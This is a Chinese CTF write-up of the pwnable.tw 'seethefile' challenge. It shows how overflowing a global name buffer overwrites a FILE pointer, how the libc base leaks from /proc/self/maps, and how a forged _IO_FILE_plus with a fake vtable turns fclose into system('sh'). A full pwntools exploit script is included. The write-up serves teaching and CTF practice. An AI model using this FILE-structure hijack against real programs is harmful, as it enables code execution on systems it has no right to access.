seethefile


seethefile

基本信息

Glibc:    2.23
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

漏洞点

全局变量 name 后面紧跟着的就是 fp

.bss:0804B260 name            db 20h dup(?)           ; DATA XREF: main+9F↑o
.bss:0804B260                                         ; main+B4↑o
.bss:0804B280                 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp              dd ?                    ; DATA XREF: openfile+6↑r
.bss:0804B280                                         ; openfile+AD↑w ...
.bss:0804B280 _bss            ends
.bss:0804B280

在执行选项五 exit的时候,会输入 name,此时可以篡改 fp指针:

case 5:
  printf("Leave your name :");
  __isoc99_scanf("%s", name);
  printf("Thank you %s ,see you next time\n", name);
  if ( fp )
    fclose(fp);
  exit(0);
  return result;

泄露 libc基地址可以通过查看 /proc/self/maps 文件。本题中,由于选项二 readfile在将文件内容读取到 magicbuf的时候长度限制为 0x18Fu,我们只能看到下面这部分:

'08048000-0804a000 r-xp 00000000 08:00 249799                             /home/seethefile/seethefile\n'
'0804a000-0804b000 r--p 00001000 08:00 249799                             /home/seethefile/seethefile\n'
'0804b000-0804c000 rw-p 00002000 08:00 249799                             /home/seethefile/seethefile\n'
'09b8b000-09bad000 rw-p 00000000 00:00 0                                  [heap]\n'
'f7565000-f756600'

本地测试一下可以发现:基本上 [heap]段后面第二个就是 libc了,所以在上面这个远程尝试中, 0xf7566000应该就是 libcbase

$ cat /proc/self/maps
00400000-0040c000 r-xp 00000000 08:01 3407896                            /bin/cat
0060b000-0060c000 r--p 0000b000 08:01 3407896                            /bin/cat
0060c000-0060d000 rw-p 0000c000 08:01 3407896                            /bin/cat
008ae000-008cf000 rw-p 00000000 00:00 0                                  [heap]
7fdc4c1a5000-7fdc4cb64000 r--p 00000000 08:01 1974054                    /usr/lib/locale/locale-archive
7fdc4cb64000-7fdc4cd24000 r-xp 00000000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fdc4cd24000-7fdc4cf24000 ---p 001c0000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fdc4cf24000-7fdc4cf28000 r--p 001c0000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fdc4cf28000-7fdc4cf2a000 rw-p 001c4000 08:01 2626483                    /lib/x86_64-linux-gnu/libc-2.23.so
7fdc4cf2a000-7fdc4cf2e000 rw-p 00000000 00:00 0 
7fdc4cf2e000-7fdc4cf54000 r-xp 00000000 08:01 2626455                    /lib/x86_64-linux-gnu/ld-2.23.so
7fdc4d116000-7fdc4d13b000 rw-p 00000000 00:00 0 
7fdc4d153000-7fdc4d154000 r--p 00025000 08:01 2626455                    /lib/x86_64-linux-gnu/ld-2.23.so
7fdc4d154000-7fdc4d155000 rw-p 00026000 08:01 2626455                    /lib/x86_64-linux-gnu/ld-2.23.so
7fdc4d155000-7fdc4d156000 rw-p 00000000 00:00 0 
7fffbd3cd000-7fffbd3ee000 rw-p 00000000 00:00 0                          [stack]
7fffbd3ef000-7fffbd3f2000 r--p 00000000 00:00 0                          [vvar]
7fffbd3f2000-7fffbd3f4000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

分析

在 glibc2.23 中,fp = fopen("[filename]")中的 fp指向的是一个 _IO_FILE_plus结构体。以本题为例,open之后下断点查看 fp

gdb-peda$ x/5wx 0x0804B280 
0x804b280 <fp>:	0x0804c410	0x00000000	0x00000000	0x00000000
0x804b290:	0x00000000
gdb-peda$ x/40wx 0x0804c410
0x804c410:	0xfbad2488	0x00000000	0x00000000	0x00000000
0x804c420:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c430:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c440:	0x00000000	0xf7fb7cc0	0x00000003	0x00000000
0x804c450:	0x00000000	0x00000000	0x0804c4a8	0xffffffff
0x804c460:	0xffffffff	0x00000000	0x0804c4b4	0x00000000
0x804c470:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c480:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c490:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4a0:	0x00000000	0xf7fb6ac0	0x00000000	0x00000000
gdb-peda$ p *_IO_list_all
$1 = {
  file = {
    _flags = 0xfbad2488, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x0, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0xf7fb7cc0 <_IO_2_1_stderr_>, 
    _fileno = 0x3, 
    _flags2 = 0x0, 
    _old_offset = 0x0, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x804c4a8, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x804c4b4, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0x0, 
    _unused2 = '\000' <repeats 39 times>
  }, 
  vtable = 0xf7fb6ac0 <_IO_file_jumps>
}

对比一下就可以发现:fp指向的就是 _IO_list_all结构体,其中 file占用 0x94字节,后面紧跟着 vtable字段:

gdb-peda$ x/28wx 0xf7fb6ac0
0xf7fb6ac0 <_IO_file_jumps>:	0x00000000	0x00000000	0xf7e6d990	0xf7e6e3b0
0xf7fb6ad0 <_IO_file_jumps+16>:	0xf7e6e150	0xf7e6f230	0xf7e700c0	0xf7e6d600
0xf7fb6ae0 <_IO_file_jumps+32>:	0xf7e6d210	0xf7e6c4b0	0xf7e6f4d0	0xf7e6c2f0
0xf7fb6af0 <_IO_file_jumps+48>:	0xf7e6c1e0	0xf7e618d0	0xf7e6d5b0	0xf7e6d060
0xf7fb6b00 <_IO_file_jumps+64>:	0xf7e6cda0	0xf7e6c2c0	0xf7e6d040	0xf7e70250
0xf7fb6b10 <_IO_file_jumps+80>:	0xf7e70260	0x00000000	0x00000000	0x00000000
0xf7fb6b20 <_IO_str_jumps>:	0x00000000	0x00000000	0xf7e70760	0xf7e703f0
gdb-peda$ print _IO_file_jumps
$2 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0xf7e6d990 <_IO_new_file_finish>, 
  __overflow = 0xf7e6e3b0 <_IO_new_file_overflow>, 
  __underflow = 0xf7e6e150 <_IO_new_file_underflow>, 
  __uflow = 0xf7e6f230 <__GI__IO_default_uflow>, 
  __pbackfail = 0xf7e700c0 <__GI__IO_default_pbackfail>, 
  __xsputn = 0xf7e6d600 <_IO_new_file_xsputn>, 
  __xsgetn = 0xf7e6d210 <__GI__IO_file_xsgetn>, 
  __seekoff = 0xf7e6c4b0 <_IO_new_file_seekoff>, 
  __seekpos = 0xf7e6f4d0 <_IO_default_seekpos>, 
  __setbuf = 0xf7e6c2f0 <_IO_new_file_setbuf>, 
  __sync = 0xf7e6c1e0 <_IO_new_file_sync>, 
  __doallocate = 0xf7e618d0 <__GI__IO_file_doallocate>, 
  __read = 0xf7e6d5b0 <__GI__IO_file_read>, 
  __write = 0xf7e6d060 <_IO_new_file_write>, 
  __seek = 0xf7e6cda0 <__GI__IO_file_seek>, 
  __close = 0xf7e6c2c0 <__GI__IO_file_close>, 
  __stat = 0xf7e6d040 <__GI__IO_file_stat>, 
  __showmanyc = 0xf7e70250 <_IO_default_showmanyc>, 
  __imbue = 0xf7e70260 <_IO_default_imbue>
}

这部分的glibc源码如下:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

extern struct _IO_FILE_plus *_IO_list_all;

选项五 exit 输入 name 之后会执行 fclose 函数,其源码如下:

#define _IO_IS_FILEBUF 0x2000

/* https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/iofclose.c#L37 */
int
_IO_new_fclose (_IO_FILE *fp)
{
  ......
  /* First unlink the stream.  */
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
  ......
}

可以看到:如果 fp->_IO_file_flags & _IO_IS_FILEBUF 这个判断为真,会执行 _IO_un_link_IO_file_close_it 这两个函数,尽量避免,所以我们伪造的 IO_FILE 结构体的 flag 字段和 _IO_IS_FILEBUF(0x2000) 进行与运算的时候最好为 0。后面会执行 _IO_FINISH 这个函数存放在 vtable 的第三个字段上(即 __finish),偏移8个字节。

利用思路

伪造一个 _IO_FILE_plus 结构体,使其 vtable 字段指向伪造的 vtable 表,然后在伪造的 vtable 表中存放 __finish 的位置上放 system 函数的地址。然后执行 fclose(fp) 即可 getshell。

具体做法:在伪造的 _IO_FILE_plus 结构体的开头存放 p32(0xffffdfff) + '||sh'(这样后面执行 fclose(fp) 的时候相当于执行 system("\xff\xff\xdf\xff||sh")),其他位置全部置为 \x00。然后在伪造的 vtable 的第三个字段上存 system 函数的地址。

exp

from pwn import *

context(log_level = 'debug')

libc = ELF('./libc_32.so.6')
p = remote('chall.pwnable.tw', 10200)
#p = process('./seethefile')

def choice(ind):
    p.recvuntil('Your choice :')
    p.sendline(str(ind))

choice(1)
p.recvuntil('What do you want to see :')
p.sendline('/proc/self/maps')

choice(2)

choice(3)
p.recvuntil('[heap]\n')
libcbase = int(p.recv(8),16) + 0x1000
system_addr = libc.symbols['system'] + libcbase

payload = 'a'*0x20 + p32(0x0804B290) + 'a'*(0x10 - 4) +\
	  p32(0xffffdfff) + '||sh' + '\x00'*(0x94 - 8) +\
	  p32(0x804B328) + '\x00'*8 + p32(system_addr)

choice(5)
p.recvuntil('Leave your name :')
p.sendline(payload)

p.interactive()

结尾

后面还需要用那个 get_flag 来读 flag,看一下源码就知道怎么做了。


文章作者: 李立基
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 李立基 !
  目录